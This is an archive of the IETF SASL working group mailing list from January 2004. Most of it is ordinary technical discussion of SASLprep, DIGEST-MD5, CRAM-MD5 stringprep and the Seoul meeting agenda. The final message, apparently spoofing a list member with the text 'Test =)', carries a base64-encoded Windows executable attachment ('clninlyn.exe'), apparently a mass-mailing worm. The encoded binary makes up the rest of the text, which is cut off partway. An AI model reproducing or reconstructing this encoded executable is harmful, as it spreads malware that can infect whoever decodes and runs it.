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 vuiTJ595FfKgs4g/WqSdgiGyAQAAAAAAAA== --------------ms040602000106040805090903-- From owner-ietf-sasl Tue Jan 13 04:21:00 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DCL0ib033423; Tue, 13 Jan 2004 04:21:00 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DCL08G033419; Tue, 13 Jan 2004 04:21:00 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DCKsib033412 for ; Tue, 13 Jan 2004 04:20:59 -0800 (PST) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 13 Jan 2004 12:20:48 +0000 Message-ID: <4003E29C.1060204@isode.com> Date: Tue, 13 Jan 2004 12:20:44 +0000 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Sam Hartman CC: ietf-sasl@imc.org Subject: Re: Things to discuss in Seoul References: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> In-Reply-To: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Sam Hartman wrote: >Who will be there in Seoul? > I should be there. > I'm trying to get a good idea of what >drafts we can focus on for that meeting. Presumably regardless of >attendance we'll try and do as much as we can on the base spec, >stringprep, plain and anonymous. > I was under impression that the last two are basically done? > We are trying to get those drafts to >the IESG. > >But among the remaining documents it may be better to focus time based >on who is available. > > >Also, if you have specific issues that need meeting time, please /let >us know. > I would like to have some discussions about DIGEST-MD5 (in particular selecting a single way of fixing CBC mode attack fix) and GSSAPI with people who are interested. Also, as usual, I am interested in hearing more feedback on SASL C API and HTTP SASL draft I am coauthoring. Alexey From owner-ietf-sasl Tue Jan 13 09:48:56 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DHmuib054194; Tue, 13 Jan 2004 09:48:56 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DHmuqm054193; Tue, 13 Jan 2004 09:48:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from smtp3.Stanford.EDU (smtp3.Stanford.EDU [171.67.16.117]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DHmtib054183 for ; Tue, 13 Jan 2004 09:48:55 -0800 (PST) (envelope-from Jeff.Hodges@KingsMountain.com) Received: from networking.Stanford.EDU (networking.Stanford.EDU [171.64.20.23]) by smtp3.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i0DHmtGX016891 for ; Tue, 13 Jan 2004 09:48:56 -0800 Received: from networking.Stanford.EDU (hodges@localhost) by networking.Stanford.EDU (8.11.7/8.11.6) with ESMTP id i0DHmtg27709 for ; Tue, 13 Jan 2004 09:48:55 -0800 (PST) Message-Id: <200401131748.i0DHmtg27709@networking.Stanford.EDU> X-Authentication-Warning: networking.Stanford.EDU: hodges owned process doing -bs X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 Subject: Re: A different thought on saslprep To: ietf-sasl@imc.org In-reply-to: Paul Hoffman / IMC 's message of Mon, 12 Jan 2004 18:18:42 -0800 Reply-to: Jeff.Hodges@KingsMountain.com From: Jeff.Hodges@KingsMountain.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Jan 2004 09:48:55 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: > >Given that security issue with using SASLPrep on passwords, plus the other two > >issues Paul mentions with that application of SASLPrep, I wonder if the > >requirement that passwords be run thru SASLPrep (section 4.4 of > >draft-ietf-sasl-rfc2222bis-04.txt) really should be a MAY. > > How would that work? How would one end know whether or not the other > end had done the saslprep? That seems like an invitation to lack of > interop. ah, indeed. JeffH From owner-ietf-sasl Tue Jan 13 11:29:35 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DJTZib060584; Tue, 13 Jan 2004 11:29:35 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0DJTZV1060583; Tue, 13 Jan 2004 11:29:35 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (STRATTON-FOUR-SIXTY-FOUR.MIT.EDU [18.187.6.209]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0DJTUib060577 for ; Tue, 13 Jan 2004 11:29:30 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id 4726B151600; Tue, 13 Jan 2004 14:29:31 -0500 (EST) To: Alexey Melnikov Cc: ietf-sasl@imc.org Subject: Re: Things to discuss in Seoul References: <20040112224252.01D0B1515FF@konishi-polis.mit.edu> <4003E29C.1060204@isode.com> From: Sam Hartman Date: Tue, 13 Jan 2004 14:29:31 -0500 In-Reply-To: <4003E29C.1060204@isode.com> (Alexey Melnikov's message of "Tue, 13 Jan 2004 12:20:44 +0000") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Alexey" == Alexey Melnikov writes: Alexey> Sam Hartman wrote: >> Who will be there in Seoul? >> Alexey> I should be there. >> I'm trying to get a good idea of what drafts we can focus on >> for that meeting. Presumably regardless of attendance we'll >> try and do as much as we can on the base spec, stringprep, >> plain and anonymous. >> Alexey> I was under impression that the last two are basically Alexey> done? >> We are trying to get those drafts to the IESG. >> >> But among the remaining documents it may be better to focus >> time based on who is available. >> >> >> Also, if you have specific issues that need meeting time, >> please /let us know. >> Alexey> I would like to have some discussions about DIGEST-MD5 (in Alexey> particular selecting a single way of fixing CBC mode Alexey> attack fix) and GSSAPI with people who are interested. Alexey> Also, as usual, I am interested in hearing more feedback Alexey> on SASL C API and HTTP SASL draft I am coauthoring. Alexey> Alexey As am I. From owner-ietf-sasl Sun Jan 18 18:38:19 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J2cJib002030; Sun, 18 Jan 2004 18:38:19 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0J2cJsA002029; Sun, 18 Jan 2004 18:38:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB219198240010.bbtec.net [219.198.240.10]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0J2cGib002023 for ; Sun, 18 Jan 2004 18:38:18 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id B221F1515EB; Sun, 18 Jan 2004 21:37:49 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> From: Sam Hartman Date: Thu, 15 Jan 2004 22:53:20 -0500 In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> (Lyndon Nerenberg's message of "Mon, 12 Jan 2004 16:43:05 -0700") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Lyndon" == Lyndon Nerenberg writes: Lyndon> --On 2004-1-12 5:38 PM -0500 Sam Hartman Lyndon> wrote: >> I'd like to hear from people who believe we should allow >> unassigned codepoints in cram-md5. Lyndon> Taking off my editor's visor, I personally think this Lyndon> whole issue is out of scope for the CRAM document, and Lyndon> needs to be addressed in the base SASL document, or not at Lyndon> all (i.e. let the stringprep document says what needs to Lyndon> be said, if anything). I'm currently sitting on a plane, and while I have my personal mail, I don't seem to have comments only addressed to the SASL list. Apologies if this is already addressed. I disagree and believe that the choice of encoding and normalization for the authentication identity is entirely a matter of choice for the mechanism document and is out of scope for normative comments from the base spec. The base spec can and does give advice on what best practice is with regard to these issues. For example the GSSAPI document cannot say to use UTF8 or any particular normalization; both these issues are matters for the GSSAPI mechanism document to decide. Some existing mechanisms do not currently support UTF8 but do support internationalized GSSAPI names. From owner-ietf-sasl Mon Jan 19 16:42:33 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K0gXib048189; Mon, 19 Jan 2004 16:42:33 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K0gXL6048187; Mon, 19 Jan 2004 16:42:33 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from yusron ([202.81.60.26]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K0evic048130 for ; Mon, 19 Jan 2004 16:41:00 -0800 (PST) (envelope-from lyndon@orthanc.ab.ca) Date: Tue, 20 Jan 2004 07:44:42 +0700 To: ietf-sasl@imc.org Subject: Hi From: lyndon@orthanc.ab.ca Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------462482681382150" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------462482681382150 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) gpawmqbrtrgsjcjmdan -- Test, yep. ----------462482681382150 Content-Type: application/x-msdownload; name="wlh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clninlyn.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 